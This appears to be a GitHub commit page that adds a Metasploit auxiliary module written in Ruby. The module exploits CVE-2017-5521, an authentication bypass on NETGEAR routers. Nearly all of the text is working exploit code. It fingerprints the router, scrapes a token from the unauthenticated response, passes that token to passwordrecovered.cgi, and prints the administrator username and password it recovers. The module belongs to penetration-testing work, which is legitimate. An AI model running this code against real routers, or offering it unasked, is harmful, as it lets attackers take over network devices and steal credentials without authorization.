Skip to content

Commit cba5e26

Browse files
committed
Land rapid7#7916, module for netgear password disclosure
2 parents d81bdc1 + e7b421e commit cba5e26

File tree

1 file changed

+133
-0
lines changed

1 file changed

+133
-0
lines changed
Lines changed: 133 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,133 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'NETGEAR Administrator Password Disclosure',
15+
'Description' => %q{
16+
This module will collect the password for the `admin` user.
17+
The exploit will not complete if password recovery is set on the router.
18+
The password is recieved by passing the token generated from `unauth.cgi`
19+
to `passwordrecovered.cgi`. This exploit works on many different NETGEAR
20+
products. The full list of affected products is available in the 'References'
21+
section.
22+
23+
},
24+
'Author' =>
25+
[
26+
'Simon Kenin', # Vuln Discovery, PoC
27+
'thecarterb' # Metasploit module
28+
],
29+
'References' =>
30+
[
31+
[ 'CVE', '2017-5521' ],
32+
[ 'URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911' ],
33+
[ 'URL', 'http://thehackernews.com/2017/01/Netgear-router-password-hacking.html'],
34+
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/'],
35+
[ 'URL', 'http://pastebin.com/dB4bTgxz'],
36+
[ 'EDB', '41205']
37+
],
38+
'License' => MSF_LICENSE
39+
))
40+
41+
register_options(
42+
[
43+
OptString::new('TARGETURI', [true, 'The base path to the vulnerable application', '/'])
44+
], self.class)
45+
end
46+
47+
# @return substring of 'text', usually a response from a server in this case
48+
def scrape(text, start_trig, end_trig)
49+
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
50+
end
51+
52+
def run
53+
uri = target_uri.path
54+
uri = normalize_uri(uri)
55+
print_status("Checking if #{rhost} is a NETGEAR router")
56+
vprint_status("Sending request to http://#{rhost}/")
57+
58+
# will always call check no matter what
59+
is_ng = check
60+
61+
res = send_request_cgi({ 'uri' => uri })
62+
if res.nil?
63+
print_error("#{rhost} returned an empty response.")
64+
return
65+
end
66+
67+
if is_ng == Exploit::CheckCode::Detected
68+
marker_one = "id="
69+
marker_two = "\""
70+
token = scrape(res.to_s, marker_one, marker_two)
71+
if token.nil?
72+
print_error("#{rhost} is not vulnerable: Token not found")
73+
return
74+
end
75+
76+
if token == '0'
77+
print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
78+
end
79+
print_status("Token found: #{token}")
80+
vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")
81+
82+
r = send_request_cgi({
83+
'uri' => "/passwordrecovered.cgi",
84+
'vars_get' => { 'id' => token }
85+
})
86+
87+
vprint_status("Sending request to #{rhost}/passwordrecovered.cgi?id=#{token}")
88+
89+
html = r.get_html_document
90+
raw_html = html.text
91+
92+
username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
93+
password = scrape(raw_html, "Router Admin Password", "You can")
94+
if username.nil? || password.nil?
95+
print_error("#{rhost} returned empty credentials")
96+
return
97+
end
98+
username.strip!
99+
password.strip!
100+
101+
if username.empty? || password.empty?
102+
print_error("No Creds found")
103+
else
104+
print_good("Creds found: #{username}/#{password}")
105+
end
106+
else
107+
print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
108+
end
109+
end
110+
111+
# Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
112+
# This checks the response for that header.
113+
def check
114+
115+
res = send_request_cgi({'uri'=>'/'})
116+
if res.nil?
117+
fail_with(Failure::Unreachable, 'Connection timed out.')
118+
end
119+
120+
# Checks for the `WWW-Authenticate` header in the response
121+
if res.headers["WWW-Authenticate"]
122+
data = res.to_s
123+
marker_one = "Basic realm=\""
124+
marker_two = "\""
125+
model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
126+
print_good("Router is a NETGEAR router (#{model})")
127+
return Exploit::CheckCode::Detected
128+
else
129+
print_error('Router is not a NETGEAR router')
130+
return Exploit::CheckCode::Safe
131+
end
132+
end
133+
end

0 commit comments

Comments
 (0)